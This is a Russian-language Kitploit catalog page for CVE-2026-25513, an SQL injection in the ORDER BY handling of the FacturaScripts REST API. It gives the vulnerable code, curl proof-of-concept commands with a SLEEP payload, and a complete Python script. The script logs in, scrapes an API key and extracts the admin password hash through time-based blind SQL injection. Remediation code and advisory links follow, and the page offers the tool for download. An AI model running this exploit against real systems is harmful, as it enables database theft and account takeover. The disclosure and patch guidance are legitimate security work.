Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25513 — CVE-2026-25513 - FacturaScripts содержит SQL-инъекцию в выражении ORDER BY в API | Kitploit
Инструменты/GitHubGitHub/lukasz-rybak/cve-2026-25513
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - FacturaScripts содержит SQL-инъекцию в выражении ORDER BY в API

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-25513: SQL-инъекция в выражении ORDER BY API FacturaScripts

Обзор

ПолеДетали
Идентификатор CVECVE-2026-25513
СерьёзностьВЫСОКАЯ
УведомлениеПросмотреть уведомление
ОбнаружилLukasz Rybak

Затронутые продукты

  • facturascripts/facturascripts (версии: < 2025.81)

Классификация CWE

  • CWE-20: Некорректная проверка входных данных (Improper Input Validation)
  • CWE-89: Некорректная нейтрализация специальных элементов, используемых в SQL-команде ('SQL-инъекция')
  • CWE-943: Некорректная нейтрализация специальных элементов в логике запросов к данным
  • CWE-1286: Некорректная проверка синтаксической корректности входных данных

Детали

Сводка

FacturaScripts содержит критическую уязвимость SQL-инъекции в REST API, которая позволяет аутентифицированным пользователям API выполнять произвольные SQL-запросы через параметр sort. Уязвимость существует в методе ModelClass::getOrderBy(), где переданные пользователем параметры сортировки напрямую конкатенируются в выражение SQL ORDER BY без проверки или санитизации. Это затрагивает все конечные точки API, поддерживающие функцию сортировки.


Детали

REST API FacturaScripts предоставляет доступ к моделям базы данных через различные конечные точки (например, /api/3/users, /api/3/attachedfiles, /api/3/customers). Эти конечные точки поддерживают параметр sort, позволяющий клиентам задавать порядок результатов. API обрабатывает этот параметр через метод ModelClass::all(), который вызывает уязвимую функцию getOrderBy().

Места уязвимого кода

1. Устаревшие модели (Legacy): Файл: /Core/Model/Base/ModelClass.php Метод: getOrderBy() Прямая конкатенация ключей и значений из массива $order.

2. Современные модели (DbQuery): Файл: /Core/DbQuery.php Метод: orderBy() Строки: 255-259

root@kitploit:~
        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

Эта проверка предназначена для разрешения SQL-функций, но не проверяет их, что позволяет произвольную SQL-инъекцию.


Подтверждение концепции (PoC)

Предварительные требования

  • Действительный токен аутентификации API (заголовок X-Auth-Token)
  • Доступ к конечным точкам API FacturaScripts

Пошаговая проверка (CLI)

Поскольку FacturaScripts требует уже существующий API-ключ, сначала мы входим через веб-интерфейс, чтобы найти действующий ключ.

1. Вход и получение действующего API-ключа: Мы обрабатываем CSRF-токен и файлы cookie сессии, чтобы получить доступ к настройкам и извлечь первый доступный ключ.

root@kitploit:~
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. Проверка time-based SQL-инъекции: Используйте извлечённый API_KEY в заголовке X-Auth-Token.

root@kitploit:~
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Ожидаемый результат: Инъецированный запрос займёт значительно больше времени (задержка зависит от количества записей в базе данных), что подтверждает SQL-инъекцию.


Автоматизированный инструмент эксплуатации

Этот скрипт автоматически входит в FacturaScripts, получает действующий API-ключ и выполняет извлечение данных с учётом регистра с помощью time-based blind SQL-инъекции.

root@kitploit:~
import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")

    # 2. Verify vulnerability
    print("[*] Verifying vulnerability...")
    if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
        print("[+] System is VULNERABLE!")
    else:
        print("[-] System not vulnerable or API key invalid.")
        return

    # 3. Extract Admin Password Hash
    admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
    print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")

if __name__ == "__main__":
    main()
изображение

Влияние

Конфиденциальность данных

  • Полное раскрытие содержимого базы данных с помощью техник blind SQL-инъекции
  • Извлечение конфиденциальных данных, включая:
    • Учётные данные пользователей и API-ключи
    • Персональные данные клиентов (PII)
    • Финансовые записи и данные транзакций
    • Бизнес-аналитика и информация о ценах
    • Конфигурация системы и секреты

Кто затронут?

  • Организации, использующие API FacturaScripts для интеграций
  • Мобильные приложения и сторонние интеграции, использующие API
  • Все пользователи, чьи данные доступны через API
  • Деловые партнёры с доступом к API

Рекомендуемое исправление

Немедленное устранение

Вариант 1: Внедрение строгой проверки по белому списку (рекомендуется)

root@kitploit:~
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    // Get valid column names from model
    $validColumns = array_keys(static::getModelFields());

    foreach ($order as $key => $value) {
        // Validate column name against whitelist
        if (!in_array($key, $validColumns, true)) {
            throw new \Exception('Invalid column name for sorting: ' . $key);
        }

        // Validate sort direction (must be ASC or DESC)
        $value = strtoupper(trim($value));
        if (!in_array($value, ['ASC', 'DESC'], true)) {
            throw new \Exception('Invalid sort direction: ' . $value);
        }

        // Escape column name
        $safeColumn = self::$dataBase->escapeColumn($key);
        $result .= $coma . $safeColumn . ' ' . $value;
        $coma = ', ';
    }

    return $result;
}

Вариант 2: Использование функций экранирования базы данных

root@kitploit:~
private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    foreach ($order as $key => $value) {
        // Escape identifiers and validate direction
        $safeColumn = self::$dataBase->escapeColumn($key);
        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
            ? strtoupper($value)
            : 'ASC';

        $result .= $coma . $safeColumn . ' ' . $safeDirection;
        $coma = ', ';
    }

    return $result;
}

Вариант 3: Использование шаблона построителя запросов (Query Builder)

root@kitploit:~
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
    $query = self::table();

    // Apply WHERE conditions
    foreach ($where as $condition) {
        $query->where($condition);
    }

    // Apply ORDER BY with validation
    foreach ($order as $column => $direction) {
        if (!array_key_exists($column, static::getModelFields())) {
            continue; // Skip invalid columns
        }
        $query->orderBy($column, $direction);
    }

    return $query->offset($offset)->limit($limit)->get();
}

Лучшие практики безопасности API

root@kitploit:~
// Add to API configuration
$config = [
    'max_sort_fields' => 3,  // Limit number of sort fields
    'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist
    'default_sort' => 'id ASC',  // Safe default
];

Авторы

Обнаружил: Łukasz Rybak

Ссылки

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99
  • https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25513
  • https://github.com/advisories/GHSA-cjfx-qhwm-hf99

Отказ от ответственности

Этот CVE был раскрыт ответственно в соответствии с практиками скоординированного раскрытия уязвимостей. Информация, представленная здесь, предназначена только для образовательных и защитных целей.

Скачать инструмент